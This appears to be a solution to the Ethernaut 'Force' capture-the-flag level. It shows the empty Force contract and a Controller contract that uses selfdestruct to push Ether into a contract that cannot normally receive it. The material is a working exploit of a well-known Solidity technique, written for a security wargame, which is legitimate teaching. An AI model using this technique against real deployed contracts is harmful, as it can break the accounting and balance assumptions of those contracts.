Ethernaut - Level 7 - Force https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188

contracts...Controller.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Force.sol";

contract Controller {
    Force target;

    constructor(address targetAddress) public {
        target = Force(targetAddress);
    }

    function fundContract() public payable {
        address(this).call{value: msg.value}("");
    }
    function attrackContract () public {
        address payable addr = payable(address(target));
        selfdestruct(addr);
    }
}

contracts...Force.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}